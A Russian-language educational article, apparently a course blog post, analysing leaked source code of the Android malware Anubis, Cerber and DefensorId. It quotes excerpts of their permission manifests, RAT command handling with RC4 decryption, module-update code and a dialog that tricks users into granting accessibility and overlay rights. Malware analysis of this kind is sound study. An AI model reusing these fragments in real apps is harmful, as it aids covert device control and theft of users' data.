В данной статье проведем попытку изучения используемых конструкций языка программирования для работы вредоносного программного обеспечения. Основная задача — выяснить, содержат ли вредоносы для ОС Android какие-либо полезные и интересные недокументированные возможности ОС или же это просто приложения, которые ловко выполняют свой функционал при помощи стандартных приемов.

ВПО может состоять из десятков тысяч строк исходного кода, если не больше. Поэтому для ориентира в этом море кода будем рассматривать следующие характеристики:

  • используемый язык программирования;

  • набор привилегий, которые доступны ПО;

  • процедура предоставления удаленного доступа;

  • особенности реализации программного обеспечения (если есть).

Disclamer: Статья не претендует на полноту описываемой информации и предоставляет информацию только в образовательных целях.

Вредоносное программное обеспечение и ОС

Как известно, система Android своим ядром обязана Linux. И как свой прародитель, ОС Android считалась неприступной для вредоносного программного обеспечения. По мере развития системы в нее добавлялись новые функции, которые должны были еще больше обезопасить систему. Среди них:

  • песочница для каждого отдельного приложения;

  • организация доступа к ресурсам ОС за счет большого количества правил SELinux подсистемы;

  • использование нотификации для пользователей с перечнем необходимых для работы приложения привилегий.

Однако и это не помогло на 100% защитить систему. Почему? Наиболее распространенный способ инфицирования данной ОС — использование патченного софта и социальная инженерия. Причем обычно пользователям предлагается работать с интерфейсом, который неотличим от системного — то есть любое приложение ОС Android может использовать нотификации и Intent`ы, которыми пользуется сама ОС.

ВПО под Android развивается отчасти по пути open source: в сеть периодически попадают исходные коды вредоносов, которое использовалось злоумышленниками, что в свою очередь помогает менее квалифицированным «вирусописателям» ускорить создание своих зловредов. Попробуем раздобыть эти исходники из публичных источников.

Первым подопытным будет троян Anubis. Вот тут есть относительно свежая новость о том, с чем и как работает этот троян.

Anubis

Используемый язык программирования: Java. Для этого даже не нужно вычитывать исходники проекта, поскольку почти все файлы имеют расширение Java.

Набор требуемых привилегий на самом деле зашкаливает. Приведем часть AndroidManifest:

...
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission
        android:name="android.permission.PACKAGE_USAGE_STATS"
        tools:ignore="ProtectedPermissions" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
...

Похоже, что приложение будет системным, а также будет практически 24/7 мониторить активность пользователя и получать необходимые данные для своих целей. ОС не должна препятствовать деятельности этого приложения, если пользователь согласился с таким набором привилегий.

ВПО представляет собой троян, который может предоставлять доступ к зараженному устройству. Это осуществляется через создание сервиса, который имеет говорящее название "ServiceRAT". Регистрируется он стандартно — через манифест. Часть исходника самого сервиса:

...
public class ServiceRAT extends IntentService {
    String botid="";
    UtilsClass utilsClass = new UtilsClass();
    Constants const_ = new Constants();
    RequestHttp  http = new RequestHttp();
    StoreStringClass storeStringClass = new StoreStringClass();
...

Никаких изысков, используем http для передачи данных, и «шифруем» всё через RC4. Можно бы было придраться к code style, но похоже, что злоумышленники не парятся о подобном. Сам вредонос работает классически — получает зашифрованные данные от сервера и выполняет:

...
  UtilsClass utilsClass = new UtilsClass();
        try
        {
            byte[] data = Base64.decode(textDE_C, Base64.DEFAULT);
            textDE_C = new String(data, "UTF-8");
            byte[] detext = utilsClass.hexStringToByteArray(textDE_C);
            ClassRC4 rcd = new ClassRC4(key.getBytes());
            return  new String(rcd.decrypt(detext));
...

Если смотреть код управления устройством полностью, то глаз зацепится за вот такой фрагмент:

...
responce = utilsClass.trafDeCr(responce);
           utilsClass.Log("RATresponce",""+responce);

           if(responce!="**"){
               utilsClass.Log("RAT_command", "" + responce);
               if(responce.contains("opendir:")){

                   String opendir = responce.replace("opendir:","");
                   opendir = opendir.split("!!!!")[0];

                   if(opendir.contains("getExternalStorageDirectory"))opendir = Environment.getExternalStorageDirectory().getAbsolutePath();

                   String getFileFolder = utilsClass.listFilesWithSubFolders(new File(opendir));
                   ...

Похоже, у автора была 100% уверенность, что любая команда для вредоноса будет введена всегда 100% корректно. Поэтому можно не переживать о наполнении opendir и просто выполнить команду.

Вывод: данный зловред никаких интересных «трюков» не использует. Разрешенные действия, которые описаны полностью в манифесте подчиняют практически полностью всю ОС. Все функции реализованы в рамках стандартного использования функций ОС и её библиотек. Отсутствует code style.

Cerber

Ещё один зловред, исходный код которого утёк в сеть. Недавняя новость о его функционале. Данная малвара имеет интересную особенность: практически все функции реализованы в отдельном файле, видимо разработчик таким образом хотел вынести весь алгоритм и иметь возможность обфусцировать его автоматическими средствами. Возможно, так было бы удобнее еще добавлять дополнительный функционал, но если задуматься, вероятно это один из методов обхода механизма проверки приложений для Google Play, так как вредонос достаточно часто светится в официальном магазине.

Используемый язык программирования: Java. Набор привилегий:

...
    <application
        android:allowBackup="true"
        android:label="module"
        android:supportsRtl="true"
        android:theme="@android:style/Theme.Translucent.NoTitleBar">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.app.role.SMS" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
...

Объявления привилегий нет, у приложения всего лишь один Intent. Фрагмент исходника обработчика:

...
import java.lang.reflect.Method;

public class MainActivity extends Activity {

    mod tt = new mod();
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
       
        tt.checkProtect(this);
        try {
            Class c = Class.forName("com.example.modulebot.MainActivity");
            Method m = c.getMethod("ssss");
            m.invoke(c.newInstance());
        } catch (Throwable t) {
        }
        tt.main(this,"");
    }
...

Как было упомянуто ранее, основной алгоритм ВПО записан в отдельный модуль. Отследить работу алгоритма можно по объекту "tt". Автор вредоноса также не особенно переживает за поддержку данного кода, все объекты не имеют четкого именования. Видимо, данный модуль не планировали использовать долго.

Функционал вредоноса не ограничивается отправкой СМС, в нем так же есть работа с апдейтом модуля приложения:

...
case "updateModule":
                        utl.SettingsWrite(context, "statDownloadModule", "0");
                        try {
                            new File(context.getDir("apk", Context.MODE_PRIVATE), "system.apk").delete();
                        }catch (Exception ex){
                            utl.SettingsToAdd(context, consts.LogSMS , "(MOD5)  | updateModule " + ex.toString() +"::endLog::");
                        }
....

Дополнительный файл "system.apk", к сожалению, отсутствует среди исходников, но вероятно он загружался с управляющего сервера. Удаленного доступа данный вредонос не предоставляет совсем. Весь функционал реализуется на основании конфига, который автоматически выполняет операции, которые ему передал злоумышленник на этапе запуска.

Вывод: ВПО работает только с СМС, которые проксируются в лог и пересылаются на конкретный номер. Снова полное отсутствие code style.

DefensorId

Еще одно ВПО, которое распространялось на ОС Android. Относительно свежую новость о нем можно найти здесь. Снова язык программирования — Java, похоже зловреды категорически не хотят использовать Kotlin.

Набор запрашиваемых привилегий:

...
<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW" />
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
        tools:ignore="ProtectedPermissions" />
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"
        tools:ignore="ProtectedPermissions" />
        <service
            android:name=".CoreService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
...

ВПО славится тем, что может работать с пользовательским интерфейсом и воровать данные пользователя. Для подобного функционала в ОС Android необходимо обладать специальными привилегиями, которые выдаются только специальному функционалу — «Расширенные возможности ввода» (ACCESSIBILITY). Ниже приведен фрагмент кода, который старается такие привилегии запросить для возможности рисовать свой Intent поверх других приложений:

...
public void overayPermission(){
            if (!Settings.canDrawOverlays(this)) {
                Intent myIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
                startActivityForResult(myIntent, WIN_REQ_CODE);
            }

    }

    public void AccessibilityAllow() {
        AlertDialog.Builder gsDialog = new AlertDialog.Builder(this);
        gsDialog.setTitle("Message");
        gsDialog.setCancelable(false);
        gsDialog.setMessage("please need to allow the permission");
        gsDialog.setPositiveButton("OK", new DialogInterface.OnClickListener() {
            public void onClick(DialogInterface dialog, int which) {
                startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS),CORE_REQ_CODE);
            }
        }).create().show();
    }
    ...

Социальная инженерия во всей красе. Если система не дала запустить приложение с возможностью помещать свой Intent поверх других приложений — запросить у пользователя эту возможность. С высокой долей вероятности нотификацию от системы будет им подтверждена без подозрений. Удаленный доступ к устройству в этом ВПО не предоставляется, весь функционал обрабатывается автоматически.

Вывод: Код создавался более опытным программистом, есть осмысленное именование объектов. Функционал реализуется за счет возможностей самой ОС и применяется для социальной инженерии.

Вывод

Код вредоносного программного обеспечения в большинстве случаев не выходит за рамки обычного программирования для ОС Android. Более того, можно сказать, что большинство ВПО пишется самоучками, которые собирают функции по официальной документации. В коде отсутствует четкое определение объектов их функционала, нет обработки данных от пользователя, так как реализация функционала пишется «чтобы работало». По итогу «недокументированные функции ОС» — это лишь умелые манипуляции злоумышленников по вводу пользователя в заблуждение.


Автор статьи — Александр Колесников.

Статья подготовлена в рамках курсов "Android Developer. Basic" и "Android Developer. Professional".

Также приглашаем на открытый вебинар на тему «Рисуем свой график котировок в Android». На занятии участники вмеcте с экспертом:
— рассмотрят основные инструменты для рисования;
— изучат возможности классов Canvas, Path, Paint;
— нарисуют кастомизируемый график котировок и добавим в него анимаций.
Присоединяйтесь!